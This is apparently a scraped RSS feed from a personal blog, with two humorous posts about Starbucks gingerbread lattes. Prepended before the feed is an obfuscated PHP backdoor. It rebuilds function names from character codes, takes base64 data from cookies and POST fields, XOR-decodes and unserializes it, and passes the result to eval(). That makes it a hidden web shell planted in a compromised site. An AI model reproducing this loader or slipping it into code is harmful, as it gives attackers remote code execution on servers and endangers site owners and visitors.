$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();} Gingercrack – Regular Guy https://regularguycolumn.com/blog Why Stand Out? Be Regular. Wed, 12 Nov 2008 23:56:34 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 Very Sneaky Starbucks https://regularguycolumn.com/blog/?p=438 https://regularguycolumn.com/blog/?p=438#comments Mon, 10 Nov 2008 20:57:15 +0000 http://regularguycolumn.com/blog/?p=438 I have made the trip to Starbucks a couple of times recently to do some writing. Last week, after I had ordered my caramel latte, I noticed something called the gingersnap latte on the menu. That can’t be gingercrack, I thought. Must be some variation with the real thing coming closer to Christmas.

Well, I headed out to write again today and asked the guy taking my order what the hell a gingersnap latte was. He kind of looked around like he had to make sure the fuzz wasn’t around before he answered. Then he told me it was basically the same thing as a gingerbread latte. So I got one.

He was right, for the most part. It tasted like gingercrack until you got to the bottom. Apparently, they put real pieces of ginger on top so you have some soggy pieces of ginger awaiting you at the end of your drink. What the hell is that about?

Thankfully, the interwebs have lots of valuable information, and I have determined that you can just ask the person making your coffee to leave the pieces of ginger off the top of your drink. Why would they go and ruin a good thing like gingercrack like this? Who gives a crap if every other coffee place now has gingerbread syrup? You have the original, Starbucks. Stop messing with it.

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Gingercrack Season Has Arrived https://regularguycolumn.com/blog/?p=207 https://regularguycolumn.com/blog/?p=207#comments Tue, 27 Nov 2007 10:49:32 +0000 http://regularguycolumn.com/blog/?p=207 I actually went out shopping on Black Friday (I did come away with a pair of $20 sport coats from Wal-Mart so I have that going for me).

I was not going out mega early and got out around 7:30ish. After I hit a few stores, I decided to treat myself to a coffee and something to eat from Starbucks. I ordered (caramel latte and a piece of cinnamon swirl coffee cake) and went to loiter by the area where you pick up your drink.

That’s when I heard the magic words. Gingerbread Latte. The coffee dude had just made one for someone else. I couldn’t keep my mouth shut.

“Ah, damn. I totally forgot about those!”

“You want me to change your order?”

Not only did I want him to change my order, I considered proposing to him because he made me the happiest man alive. It would be hard to explain to my wife and all, but we’re talking Gingerbread Latte here.

So he hooked me up with my Gingercrack and I drove home happy as all hell. Then, yesterday, Maria didn’t get around to making coffee before I left for work, and I didn’t realize until it was too late to make it myself so, Hello Gingercrack Number Two.

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